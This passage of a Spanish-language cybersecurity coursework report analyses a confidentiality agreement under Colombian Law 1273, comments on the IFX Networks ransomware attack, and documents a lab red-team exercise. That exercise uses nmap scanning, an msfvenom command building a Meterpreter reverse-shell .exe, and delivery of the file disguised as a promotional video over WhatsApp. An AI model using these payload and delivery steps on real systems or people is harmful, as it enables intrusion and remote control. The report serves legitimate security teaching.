sin autorizacion y con fines de sabotaje o destruccion causen dafos en sistemas

informaticos, incurriran en prision y multas.

El acuerdo de confidencialidad, al prohibir la divulgacion de informacién relacionada con
actividades ilegales como "datos de chuzadas, interceptacion ilegal de informacion,
accesos abusivos a sistemas informaticos”, podria estar implicando la ocultaciéon o
encubrimiento de delitos informéticos, lo cual podria entrar en conflicto con los articulos
mencionados de la Ley 1273. Es importante tener en cuenta que esta interpretacion
requeriria un andlisis legal mas detallado y que la aplicacion de la ley puede variar en

funcién de las circunstancias especificas de cada caso.
ACUERDO.

- No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informaciéon de

terceros.
EXPLICACION Y ARGUMENTACION.

Aqui hay algunas explicaciones y argumentos en relacion con esta clausula segun la Ley
1273:

La clausula que prohibe denunciar actividades sospechosas de espionaje o apropiacion
de informacion puede ser problematica segun la Ley 1273, ya que contraviene los

principios de proteccion de la informacién, colaboracibn con las autoridades y
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responsabilidad ética y legal en la prevencion de delitos informaticos. Promover la
denuncia de actividades sospechosas es fundamental para mantener la seguridad

informatica y prevenir la comision de delitos cibernéticos en Colombia.

Principio de Proteccién de la Informacion: La Ley 1273 busca proteger la
seguridad de la informacién y los sistemas informaticos. Denunciar actividades
sospechosas de espionaje o apropiacion de informacidn es esencial para prevenir
y perseguir delitos informaticos, que pueden incluir la violacion de sistemas de

informacién y la obtencion ilegal de datos.**

Colaboracién con las Autoridades: La cooperaciéon con las autoridades es
fundamental para hacer cumplir la Ley 1273 y proteger la seguridad informética en
general. La denuncia de actividades sospechosas permite a las autoridades
investigar y tomar medidas adecuadas para prevenir delitos informaticos, lo que

contribuye a la seguridad cibernética en el pais.

Responsabilidad Etica y Legal: Desde una perspectiva ética y legal, es
importante fomentar la responsabilidad en el manejo de la informacion y promover
una cultura de denuncia de actividades delictivas. No denunciar actividades
sospechosas podria contravenir los principios de integridad y colaboracién con las
autoridades establecidos en la Ley 1273.

ACUERDO.

- Responder por el mal uso que le den sus representantes a la informacién

confidencial.

44 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica. Disponible en:
https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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EXPLICACION Y ARGUMENTACION.

Aunque la ley no aborda especificamente la responsabilidad por el mal uso de

informacion confidencial por parte de los representantes de una empresa, se pueden

argumentar algunas razones por las cuales esta disposicion podria estar en consonancia

con los principios generales de la Ley 1273:

Principio de Proteccion de Datos y Sistemas Informaticos: La Ley 1273 busca
proteger la seguridad de la informacion y los sistemas informéticos. El mal uso de
informacion confidencial por parte de los representantes de una empresa podria
implicar acciones como el acceso no autorizado a sistemas informaticos, lo cual

puede considerarse una violacion de la ley.*

Responsabilidad Corporativa: Aunque la ley no establece especificamente la
responsabilidad por el mal uso de la informacién confidencial, las empresas tienen
la responsabilidad de garantizar que la informacion confidencial se maneje de
manera adecuada y se proteja contra el acceso no autorizado. Esto se alinea con

los principios de seguridad informética establecidos en la Ley 127346,

Cooperacion con las Autoridades: La cooperacién con las autoridades es
esencial para hacer cumplir la Ley 1273 y proteger la seguridad informatica en
general. Si se descubre un mal uso de informacién confidencial, la empresa podria
estar obligada a cooperar con las autoridades en la investigacion y el

enjuiciamiento de los responsables, como parte de su cumplimiento legal.

En sintesis, La responsabilidad corporativa y la cooperacion con las
autoridades son aspectos fundamentales para prevenir y perseguir delitos

informaticos, lo cual se relaciona con el mal uso de informacién confidencial.

45 COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 de 2009. [En linea]. Bogota Juridica. Disponible en:
https://www.bogotajuridica.gov.co/sisjur/normas/Normal.jsp?i=34492.
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2. SI USTED COMO PROFESIONAL EN CIBERSEGURIDAD LOGRO ENCONTRAR
ALGUN PROCESO ILEGAL EN EL ANEXO 3 - ACUERDO, DEBERA CITAR
PUNTUALMENTE LEY COLOMBIANA Y ARTICULO QUE SE PODRIA ESTAR
VIOLENTANDO EN DICHO DOCUMENTO.

9.2 Articulos vulnerados
En este documento anexo 3 se estan violentando varios articulos de la ley 1273
de 20009.
Articulo 269a: acceso abusivo a un sistema informatico, 269c: interceptacion de
datos informaticos.
Articulo 269h numeral 5 y 8: circunstancias de agravacion punitiva.
Articulo 269f: violacién de datos personales

Articulo 269c: interceptacion de datos informaticos.

3. EL SUELDO PARA LOS PUESTOS DE RED TEMA Y BLUE TEAM ESTAN ENTRE
LOS $17.000.000 Y LOS 22.000.000 RESPECTIVAMENTE. ¢SI USTED LLEGARA A
ENCONTRAR PROCESOS ILEGALES EN EL ACUERDO DE CONFIDENCIALIDAD
USTED ACEPTARIA CONTRATO Y ACUERDO DE CONFIDENCIALIDAD DE LA
ORGANIZACION HACKERHOUSE, AUN CONOCIENDO LO QUE PODRIA DISPONER
COPNIA EN SU CODIGO DE ETICA Y SANCIONES EN COLOMBIA PARA
PROFESIONALES DE INGENIERIA? PARA JUSTIFICAR ESTA RESPUESTA SE
RECOMIENDA QUE CONSULTE DIRECTAMENTE EN LA PAGINA OFICIAL DE
COPNIA PARA GENERAR UNA RESPUESTA COHERENTE:
HTTPS://WWW.COPNIA.GOV.CO/TRIBUNAL-DE-ETICA/CODIGO-DE-ETICA.
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10. ANALISIS CODIGO DE ETICA

El codigo de ética del COPNIA establece estandares de comportamiento ético para los
profesionales de ingenieria. Cumplir con estos estandares es fundamental para mantener
la integridad profesional y la confianza del publico en la profesion de ingenieria. Nosotros
como profesionales de la ingenieria tenemos la responsabilidad de proteger la seguridad,
el bienestar y los intereses del publico en general. Cumplir con estos lineamientos nos
garantiza que al ejercer nuestra labor se haga de manera mas responsable y ética. El
codigo de ética del COPNIA al promover la excelencia en el trabajo de ingenieria, lo que
incluye la realizacion de trabajos de excelente calidad y alta eficiencia. El incumplimiento
del codigo de ética puede resultar en la entrega de trabajos de baja calidad o poco éticos,
lo que podria poner en riesgo la seguridad y la integridad de los proyectos de ingenieria.
El cédigo de ética del COPNIA puede incluir disposiciones que exijan el cumplimiento de
las leyes y regulaciones pertinentes en el ejercicio de la ingenieria. Incumplir estas
disposiciones puede dar lugar a consecuencias legales y sanciones por parte de las
autoridades competentes, lo que podria tener consecuencias negativas tanto para
nosotros los profesionales de ingenieria como también para la sociedad en general. Por
todo lo anterior es importante y de caracter relevante que tomemos la decision de decir
un NO ROTUNDO a las propuestas de realizar actividades ilegales a si halla mucho
dinero de por medio.*’

4. DEBERA BUSCAR ALGUNA NOTICIA DE CIBERCRIMEN EN COLOMBIA Y
REDACTAR SU PUNTO DE VISTA TENIENDO EN CUENTA LAS IMPLICACIONES
LEGALES Y ETICAS QUE ALLI SE PUDIERON GENERAR. SE SOLICITA QUE
MENCIONE LA LEY Y ARTICULO EL CUAL LOGRE EXPLICAR LOS DELITOS
EXPUESTOS EN LA NOTICIA QUE CONSULTO.

47 COPNIA. Cédigo de Etica. [En linea]. Consultado el 27 de julio de 2024.
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11. NOTICIAS ACTUALIDAD

Sector salud afectado en ciberataque a entidades del Estado

Al menos 50 portales web y aplicaciones de varias instituciones del Estado reportaron
ciberataques desde la tarde del martes 12 de septiembre cuando empezaron a presentar
fallas en su funcionamiento. El ataque cibernético desplegado bajo la modalidad
ransomware, es decir, ‘secuestro’ digital de informacién y aplicaciones, fue dirigido a IFX
Network, compafiia de servicios de comunicacion y plataformas digitales que provee a

las entidades afectadas.*8

Entre las entidades que reportaron el ciberataque se encuentran la Superintendencia
Nacional de Salud y la herramienta MIPRES del Ministerio de Salud, con la que esa
cartera garantiza el acceso, reporte de prescripcion, suministro, verificacion, control, pago
y andlisis de la informacion de las tecnologias en salud que no son pagadas con plata de
plan de beneficios (PBS). La Supersalud informé en sus redes sociales que “el proveedor
IFX de la entidad esta presentando una falla masiva que afecta el acceso a nuestros

sistemas NRVCC, Supercor y sitio web"4°,

Al cierre del foro sobre la reforma a la salud, el Superintendente, Ulahi Beltrdn se
pronuncié frente a la situacion y afirmé que, hasta ese momento, “no hay ninguna
evidencia de fuga, captura o afectacion de la informacion de la Superintendencia. Se
estan adelantando reuniones de diagnéstico en cada entidad del estado, a partir de las
instrucciones de OMU del gobierno nacional, para hacer el censo del afio y tener un
estimado de la afectacion para establecer los correctivos y restablecer el funcionamiento

de la pagina y sus servicios”.

Aseguro que no solo esta situacion preocupa en la medida que “todo aquello que afecte

al estado, porque al final es la ciudadania la que se ve afectada al no poder acceder a

48 INCIBE. Ransomware Cyber Attack Against IFX Networks. [En linea]. Consultado el 27 de julio de 2024. Disponible
en: https://www.incibe.es/en/incibe-cert/publications/cybersecurity-highlights/ransomware-cyber-attack-against-
ifx--networks.

49 CONSULTORSALUD. MIPRES Plan de Contingencia Circular 011 Ciberataque. [En linea]. Consultado el 27 de julio
de 2024. Disponible en: https://consultorsalud.com/mipres-plan-contingencia-circular-011-ciberata/.
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los servicios del Estado”. En un comunicado la entidad aclara que “actualmente el uso
del aplicativo SuperArgo PQRD no implica un riesgo para los vigilados o grupos de interés

que lo utilizan”.

Por su parte, el director de la Adres mencion6 que salvo alguna afectacion menor a la
plataforma IFX en algunas comunicaciones que tiene con el ministerio” no hay hallazgos
adicionales, y se mostro tranquilo al afirmar que “nosotros estamos bastante blindados y

protegidos contra estos ataques”.
¢, Qué sucedid con este ciberataque?

Segun el periodista Camilo Garcia, que se especializa en temas de internet, la empresa
IFX Network les informé a sus clientes (de manera privada y no oficial) que fue victima
de un ataque ransomware, es decir, secuestro datos. “Esta compania es una de las mas
grandes que ofrece infraestructura tecnolégica en Colombia. No sé sabe por donde
empezod, pero expertos me dicen que puede continuar con un efecto dominé en otras
paginas”, dijo Garcia a EL COLOMBIANO. Por su parte, Saul Kattan, alto consejero para
la Transformacion Digital de la Presidencia de la Republica, afirmé en Caracol Radio que
el ataque cibernético de Ransomware dirigido a IFX Networds, no solo en Colombia, sino
en varios paises de la Region, “cifraron, o0 como se conoce comunmente, secuestraron
los datos de los servidores de la compafia, por lo que se vieron afectadas varias

entidades importantes del Estado y empresas privadas del pais”.%°

Se Asegura por parte de entidades investigativas que no se traté un ataque focalizado a
las instituciones del Gobierno, sino que fue un ataque a IFX, pero si lamento la afectacion
que sufrié la rama judicial, el sector salud, la Superintendencia de Industria y Comercio.
Agregd, que es “un tema complejo, un tema grave” en el mundo actual y debe ser
prioridad para el Estado, por lo que hizo un llamado al Congreso para que se tome este

tema enserio, dejando de lado los tintes politicos.

0 EL COLOMBIANO. El plan de contingencia del MinSalud ante ciberataque que afectd paginas estatales. [En linea].
Consultado el 27 de julio de 2024. Disponible en: https://www.elcolombiano.com/colombia/salud/el-plan-de-
contingencia-del-minsalud-ante-ciberataque-que-afecto-paginas-estatales-1L22385159.
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La pagina de la Rama Judicial, cuyos aplicativos y servicios en linea permiten buscar
informacion de expedientes judiciales e interponer tutelas, es una de las que presenta
este fallo. De hecho, en un comunicado del Consejo Superior de la Judicatura, la unidad
de informatica de esa entidad sefala que “se han presentado fallas en los servicios
digitales que estan alojados en la infraestructura contratada con IFX Networks Colombia
S.AS"5t

Por su parte, el Consejo Superior de la Judicatura suspendié en la noche de este
miércoles los términos judiciales en todo Colombia a partir de este jueves 14 y hasta el
20 de septiembre, salvo para las acciones de tutela, habeas corpus y la funcién de control

de garantias.®?

Este atague masivo también afecté a 15 paginas del sector cultura, entre las que se
encuentran la Biblioteca Nacional, el Museo Nacional, la Quinta de Bolivar y la pagina
principal del Ministerio de Cultura; asi como la pagina del Centro Nacional de Memoria
Histdrica.

11.1 Recomendaciones y apreciaciones del ingeniero José Carlos castro Yépez.
En este caso en particular esta siendo vulnerada la confidencialidad y privacidad de los
datos de los ciudadanos, especialmente en el sector salud, donde la proteccion de la
informacion clinica es vital relevancia. Esto genera contradicciones éticas sobre el
respeto a la privacidad de las personas y la confianza en las instituciones
gubernamentales.

Los entes del estado se suponen deben tener la responsabilidad ética de proteger los
datos y garantizar la disponibilidad y la integridad de los sistemas de informacién. Este
ciberataque coloca en riesgo esta responsabilidad y afecta negativamente la atencién

médica y la confianza de los ciudadanos en las instituciones de salud.

51 RAMA JUDICIAL. Acuerdo PCSJA23-12089 de 2023: Suspensién de Términos. [En linea)]. Consultado el 27 de julio
de 2024. Disponible en: https://www.ramajudicial.gov.co/documents/4864081/145272325/ACUERDO%2BPCSJA23-
12089C2%2BSuspensi%C3%B3n%2Bde%2BT%C3%A9rminos.pdf/a85bb412-3966-312b-225a-9256a460110d.

52 ibid
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Existe un compromiso ético de ser transparente y comunicar de manera clara y oportuna
sobre el ciberataque, sus implicaciones y las medidas tomadas para abordarlo. La falta
de transparencia puede generar aun mas la desconfianza del publico y generar
preocupaciones sobre la gestion de crisis.

Una de las implicaciones legales que trae este caso es la responsabilidad de las
entidades del Estado por el manejo inadecuado de la seguridad informatica y la
proteccion de datos. Esto puede dar lugar a investigaciones, sanciones y posibles
acciones legales por parte de las autoridades competentes; Ademas existe una
obligacion legal de proteger los datos personales y la informacion confidencial de los
ciudadanos, de acuerdo con las leyes de proteccion de datos vigentes. El incumplimiento
de estas leyes puede dar lugar a acciones legales por parte de los ciudadanos afectados.

Para este caso en particular se estan vulnerando los siguientes articulos de la ley 1273

de 2009. Puntualmente los siguientes articulos.

Articulo 269A: Este articulo describe el delito de acceso abusivo a un sistema
informético, que incluye el ingreso no autorizado a sistemas informéaticos
protegidos, lo cual podria aplicarse si los perpetradores del ciberataque
obtuvieron acceso no autorizado a los sistemas de las instituciones afectadas.
Articulo 269B: Este articulo describe el delito de interceptacion de datos
informaticos, que consiste en la captura de datos transmitidos a través de un
sistema informatico, lo cual podria aplicarse si los perpetradores del ataque
capturaron o interceptaron informacion confidencial durante el incidente.
Articulo 269C: Este articulo describe el delito de dafio informéatico, que incluye
cualquier accion que cause dafio o perturbacion en un sistema informatico, lo
cual podria aplicarse si el ransomware utilizado en el ataque causo6 dafios o

interrupciones en los sistemas de las instituciones afectadas.
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Para este tipo de ciberataque es relevante tomar acciones rapidas, proactivas y radicales

para poder lograr mitigar las vulnerabilidades y prevenir riesgos futuros. Por lo tanto, se

recomendaria los siguiente:

1.

Realizar una imagen bit a bits de los SERVIDORES de los sistemas afectados
para asi lograr diagnosticar a profundidad el alcance y la naturaleza del ataque; Y

con esto también saber qué informacién fue secuestrada.

Luego de haber hecho la copia o clonado bit a bit de los sistemas se debe Priorizar
la restauracion seguray rapida de los datos y sistemas afectados utilizando copias
de seguridad actualizadas y verificadas. Es importante asegurarse de que no se
haya comprometido la integridad de los datos durante el proceso de restauracion.

Se debe mejorar e Implementar nuevas reglas en el firewall para proteger los
sistemas y datos contra futuros ataques. A demas la actualizacion de software y
sistemas, el fortalecimiento de contrasefias, la implementacion de autenticacion

de multiples factores y el monitoreo continuo de la red.

Se deben mejorar las politicas de seguridad y Proporcionar capacitacion y
concientizacion en seguridad fuera y dentro de la empresa al personal en uso de
medios de almacenamiento que pueden contener virus y asi ayudarlos a identificar
y responder adecuadamente a posibles amenazas. Esto incluye educar sobre
practicas seguras en linea y como reconocer correos electrénicos o enlaces

maliciosos.

Es de vital relevancia Colaborar estrechamente con las autoridades pertinentes,
como agencias de aplicacion de la ley y organismos reguladores, para investigar

el incidente y tomar medidas legales apropiadas contra los perpetradores.

Mantener a todas las partes interesadas informadas sobre la situacion y las
medidas tomadas para abordarla. Esto incluye a los usuarios afectados, las

autoridades pertinentes, los socios comerciales y el publico en general.
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7. Realizar una revision exhaustiva del incidente una vez resuelto y utilizar los
hallazgos para mejorar y fortalecer ain mas las defensas cibernéticas de la
organizacion.

8. Forzar un escaneo completo con su antivirus.

9. Revisar los logs del sistema operativo.

10. Verificar que no exista algun software sospechoso en sus sistemas.

11.Chequear las cuentas existentes en su servidor.

12. Auditar el rendimiento de procesamiento y discos duros.

13.Revisar si existe alguna alteracion en la informacién o fuga de datos de la
empresa y sus bases de datos.

14. Auditar su trafico de red.

15.Conservar un registro actualizado de sus sistemas para garantizar un monitoreo

efectivo.
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12. ETAPA 3 EJECUCION PRUEBAS DE INTRUSION.

ANALISIS DE ESCENARIO Y ANEXO.

De manera individual usted deberd leer el problema que se encuentra en el anexo 4 —
escenario 3 referente a equipo Red team y por medio del banco de trabajo configurado

previamente debera dar respuesta a las siguientes preguntas orientadoras:

MAQUINA ATACANTE

Figura 55. Ip de maquina atacante.

P4 KALILINUX [Corriendo] - Oracle VM VirtualBox - X
Archivo Maquina Ver Entrada Dispositivos Ayuda

@ . Applications  Places Apr3 11:30

ingjosecastro@kali: ~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet [EPISULNIFE netmask 255.255.255.0 broadcast 192.168.0.255

inet6 2800:484:4288:7a00:a00:27ff:fe7d:5e5b prefixlen 64 scopeid 0x0<g
lobal>

inet6 2800:484:4288:7a00:51c2:3b79:d9f0:d399 prefixlen 64 scopeid 0x0<
global>

inet6 fe80::a00:27ff:fe7d:5e5b prefixlen 64 scopeid @x20<link>

inet6 2800:484:4288:7a00:194e:e032:c195:9efc prefixlen 128 scopeid 0x0
<global>

ether 08:00:27:7d:5e:5b txqueuelen 1000 (Ethernet)

RX packets 3263 bytes 308312 (301.0 KiB)

RX errors @ dropped © overruns @ frame 0O

TX packets 3268 bytes 253161 (247.2 KiB) L
TX errors 0 dropped @ overruns @ carrier 0 collisions 0 =

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0 » more you are able to hear™
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 24 bytes 1440 (1.4 KiB)
RX errors 0 dropped 0 overruns @ frame 0
TX packets 24 bytes 1440 (1.4 KiB)

Flm P o v

&5 )8 Ol@ B cw omeon

o o 1130am.
ANCE®m gV P 3/04/2024 =]

Fuente: Elaboracion propia.
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MAQUINA VICTIMA

Fuente: Elaboracion propia.

Figura 57. ip maquina objetivo.

Fuente: Elaboracion propia.
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1. DESCRIBA DE MANERA ESPECIFICA LAS HERRAMIENTAS SOFTWARE QUE
UTILIZO PARA LLEVAR A CABO EL ANEXO 4 — ESCENARIO 3 ENFOCADO A
REDTEAM.

12.1 Information Gathering con Nmap

Se recopila informacién de la red, los equipos en red y los puertos abiertos utilizando
NMAP. Este proceso incluye la adquisicion de todos los datos posibles acerca de la red
y del equipo objetivo o victima, con el fin de detectar vulnerabilidades y prevenir futuros
ataques.Tecleamos el siguiente comando

$ nmap 192.168.0.0/24

Donde se buscan en equipos que estén desde el segmento de red con su respectiva

mascara de red.

Figura 58. Escaneando red con Nmap.

ﬁ KALILINUX [Corriendo] - Oracle VM VirtualBox o X

Apr3 11:53

ingjosecastro@kali: ~

& O B i ) @ creberecra

= ) = - = 11:53a.m.
ﬂ L Buscar & Y =i P ANCE® Gz B 3/0;/:0; &R

Fuente: Elaboracion propia.
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Figura 59. Equipos encontrados en la red.

P KALILINUX [Corriende] - Oracle VM VirtualBox - X

Archivo  Méquina  Ver Entrada

@ . Applications  Places Apr3 13:02

Dispositives  Ayuda

+§ ingjosecastro@kali: ~

Nmap scan report for 192.168.0.1
Host is up (0.022s latency)
Not shown: 993 closed tcp ports (conn-refused)
[PORT STATE SERVICE
22/tcp filtered ssh

filtered telnet

open domain

open http

open https
49152/ tcp open unknoun
49153 /tcp open unknoun

Nmap scan report for 192.168.0.13

Host is up (©.00012s latency)

A1l 1000 scanned ports on 192.168.0.13 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 192.168.0.53

Host is up (@.034s latency)

JALL 1000 scanned ports on 192.168.0.53 are in ignored states.
Not shown: 100@ closed tep ports (conn-refused)

Nmap scan report for 192.168.0.100

Host is up (0.015s latency)

Not shown: 997 closed tcp ports (conn-refused)
[PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

Nmap scan report for 192.168.0.254
Host is up (0.050s latency)
1a

411 1000 ccanned nortc on 167 168

& & B 8 @R cromecia

Q) ESP

Fuente: Elaboracion propia.

Figura 60. Puertos escuchando en maqguina objetivo.

ﬁ KALILINUX [Corriendo] - Oracle VM VirtualBox = X

Archivo  Maquina Ver Entrada

@ o Applications  Places Apr3 13:03

Dispositivos  Ayuda

ingjosecastro@Kkali:

open http
open https
open unknown
open unknown

report for 192.168.0.13
Host is up (0.00012s latency).
ALl 1000 scanned ports on 192.168.0.13 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 192.168.0.53

Host is up (0.034s latency).

ALl 1000 scanned ports on 192.168.0.53 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for 192.168.0.100
Host is up (0.015s latency).
Not shown: 997 closed tcp ports (conn-refused)
STATE SERVICE
msrpc
netbios-ssn
445/tcp open microsoft-ds

Nmap scan report for 192.168.0.254

Host is up (0.050s latency).

ALl 1000 scanned ports on 192.168.0.254 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap done: 256 IP addresses (5 hosts up) scanned in 13.68 seconds

B @S Bl @& cm omecia
H £ Buscar ¢ ; ANCE®m z P ;:/(1);71'0?4 &

Fuente: Elaboracion propia.
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Luego se escanea la ip de la victima con el siguiente comando

$ nmap -O --osscan-guess 192.168.0.100 lo cual muestra los puertos que se tienen
abiertos y el sistema operativo.

Figura 61. Escaneo profundo con Nmap.

E KALILINUX [Corriendo] - Oracle VM VirtualBox - x
Archivo  Méquina Ver Entrada  Dispositivos  Ayuda

Applications  Places Apr3 15:21

n root@kali: /home/ingjosecastro
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.75 seconds

/home/ingjosecastro
92.168.0.100
nmap: unrecognized option '--osscan-quess'
See the output of nmap -h for a summary of options.

/home/ingjosecastro
map -0 192.168.0.100
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-94-03 13:53 -05
Nmap scan report for 192.168.0.100
Host is up (0.034s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE

general purpose
rosoft Windows 10

osoft Windows 1@ 1709 - 1909
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.18 seconds

/home/ingjosecastro

0@ S| 5 i 5] @ cr DerecHA

; 321p.m.
o = €8 Q) Esp o ]

Fuente: Elaboracion propia.

Se ha identificado un equipo objetivo con la direccion IP 192.168.0.100 que tiene el

puerto 443 abierto o en escucha, a través del cual se llevara a cabo el ataque.
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12.2 Msfvenom

Msfvenom es una herramienta de linea de comandos utilizada para generar payloads
(cédigos maliciosos) personalizados para una amplia variedad de sistemas operativos y
arquitecturas. El primer paso es listar los payloads disponibles para el sistema operativo
y la arquitectura especifica, y luego generar una Shell reversa Meterpreter con el

siguiente comando:
$ msfvenom -|

Esta herramienta permite a los usuarios crear payloads adaptados a sus necesidades,
mejorando la efectividad de las pruebas de penetracion y la explotacion de

vulnerabilidades.

Figura 62. Listando Payloads.

6 KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina  Ver Entrada  Dispositivos  Ayuda

Applications  Places Apr3 23:09

ingjosecastro@kali: ~

=
om -1 payloads]

& O Bl G @ crr perecHa
i S = = 11:09 p. m.
H R w2 cliad . F AG@Em g B A0 [

Fuente: Elaboracion propia.

Se encuentra la carga util o payload a utilizar en el ataque:
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Figura 63. Seleccionando carga util payload.

E KALILINUX [Corriendo] - Oracle VM VirtualBox

Archivo  Maguina Ver Entrada  Dispositivos  Ayuda

Applications  Places
windows/x64/meterpreter/reverse_https
windows/x64/meterpreter/reverse_named_pipe
indows/x64/meterpreter/reverse_tep|
windows/x64/mete

eter/reverse_tcp_rch

windows/x64/meterpreter/reverse_tcp_uuid

Apr3 23:19

ingjosecastro@Kkali:

Inject
indows
Inject
indows
Inject
indows
Inject
indows
Inject
indows

the meterpreter

XP SP2 or newer.

the meterpreter

XP SP2 or newer.

the meterpreter
XP SP2 or newe
the meterpreter

XP SP2 or newer.

the meterpreter

XP SP2 or newer.

server DLL via the Reflective

server DLL via the Reflective
Connect back to the attacker
server DLL via the Reflective
Connect back to the attacker
server DLL via the Reflective
Connect back to the attacker
server DLL via the Reflective
Connect back to the attacker

Q

D11 Injection payload (staged). Requires

Tunnel communication over HTTP (Windows x64 wininet)

DLL Injection payload (staged).
via a named pipe pivot

D11 Injection payload (staged).
(Windows x64)

DLl Injection payload (staged).

Requires
Requires
Requires

D11 Injection payload (staged).
with UUID Support (Windows x64)

Requires

w

w

w

w

w

windows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective D1l Injection payload (staged). Requires W
indows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 winhttp)

Inject the meterpreter server DLL via the Reflective D1l Injection payload (staged). Requires W
indows XP SP2 or newer. Tunnel communication over HTTPS (Windows x64 winhttp)

Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.

Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.

Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
Inject a custom native PE file into the exploited process using a reflective PE loader. The ref
lective PE loader will execute the pre-mapped PE image starting from the address of entry after
performing image base relocation and API address resolution. This module requires a PE file th
at contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET e
xecutables), bounded imports, and TLS callbacks are not currently supported. Also PE files whic
h use resource loading might crash. Listen for an IPv6 connection (Windows x64)

Inject a custom native PE file into the exploited process using a reflective PE loader. The ref
lective PE loader will execute the pre-mapped PE image starting from the address of entry after
performing image base relocation and API address resolution. This module requires a PE file th
at contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET e
xecutables), bounded imports, and TLS callbacks are not currently supported. Also PE files whic
h use resource loading might crash. Listen for an IPv6 connection with UUID Support (Windows x6

(0P | | E i 8] @ @ cre oerecha

windows/x64/meterpreter/reverse_winhttps
windows/x64/meterpreter_bind_named_pipe
windows/x64/meterpreter_bind_tcp
windows/x64/meterpreter_reverse_http
windows/x64/meterpreter_reverse_https
windows/x64/meterpreter_reverse_ipvé_tcp
windows/x64/meterpreter_reverse_tcp
windows/x64/peinject/bind_ipvé_tcp

windows/x64/peinject/bind_ipv6_tcp_uuid

H A Buscar

Fuente: elaboracion propia.

Luego con el siguiente comando se genera el payload:

$ msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform windows -a x64
LHOST=IP_KALI LPORT=443 -f exe >> /Documents/PoC_92545717.exe
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Figura 64. Generando archivo infectado con Payload.

1P KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina Ver Entrada Dispositivos  Ayuda

Applications  Places Apr3 23:32

ingjosecastro@kali: ~ Q

) windows/x64/meterpreter/reverse_tcp slatform windows -a x64 LHOST=192.168.0.13 LPORT=443 -f exe >> /home/ingjosecastro/Documents/PoC_92545717.exe]]

& O BRG] @ @ cTreoerecia
H P Buscar 4 i ™ Mm@ = O € ¢ ® % W =z D) ESP

. m.
3/04/2024 =

Fuente: Elaboracion propia.

Figura 65. Creacion de payload finalizada

A KALILINUX [Corriendo] - Oracle VM VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda
Applications  Places Apr3 23:33

ingjosecastro@kali: ~

[ -p windows/x64/meterpreter/reverse_tcp -- tform windows -a x64 LHOST=192.168.0.13 LPORT=443 -f exe
No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

/home/ingjosecastro/Documents/PoC_92545717.exe

& O | Bl G @ cTrL DERECHA
A~ D E® z ) ESP

Fuente: Elaboracion propia.

Y habiéndose creado el payloads se procede a enviarselo a la victima por WhatsApp.
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Figura 66. Payload generado.

1Pd KALILINUX [Corriendo] - Oracle VM VirtualBox - X
Archivo  Méquina Ver Entrada Dispositivos _ Ayuda

Applications  Places Apr3 23:42
€ A Home Documents
© Recent

% Starred i
X |
A Home

N

R Documents PoC_92545717.exe VIDEO VIDEO
PROMOCION PROMOCION
CAMPAM...024.exe  CAMPAM... 024.zip
43 Music
B Pictures

B Videos

& Trash

=+ Other Locations

“PoC_92545717.exe" selected (7.2 kB)
& O Bl O] @ &) cr oerecra

R ) gp 1H2Rm.
~NCE® ) B 3/04/2024 >

=

Fuente: Elaboracion propia

Figura 67. Archivo infectado enviado a la victimo por WhatsApp.

P4 KALILINUX [Corriendo] - Oracle VM VirtualBox ] x
Archivo  Maquina Ver Entrada Dispositivos  Ayuda

@« Applications  Places Apr3 23:44
® | @ Winpayloads: Undetectal X @ Facebook x {® (7) WhatsApp x  +
<& C @

KaliLinux 8 KaliTools ¢ KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

e 2 O O H : mi esposa

eb.whatsapp.com

mi esposa

@}" Andrea Mi Hermana & 4
i Talles Teeuses

“ablers -+ L

. . . alles s
@ Grupo 2 Sincelejo Proy. Negocio... -

£

MUSICOS POR LA DEFENSA.

Ministerio de alabanza

TECNICOS UNIDOS

Fuente: Elaboracion propia.

B PoC_92545717.exe

G @O B G B cr oerecia
11:44 p. m.

NCE® D oy,
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12.3 Metasploit Frameworks

Esta herramienta se utilizd para ejecutar exploits contra nuestro sistema objetivo. Para
hacer uso de un exploit, se ejecuta el comando msfconsole en una consola. Esto nos
permite configurar y utilizar un exploit que pone a nuestro sistema en modo de escucha

y ejecuta Meterpreter a través de una Shell reversa.
$ msfconsole

Figura 68. Ejecucion de la consola metasploit.

ﬂ KALILINUX [Corriendo] - Oracle VM VirtualBox
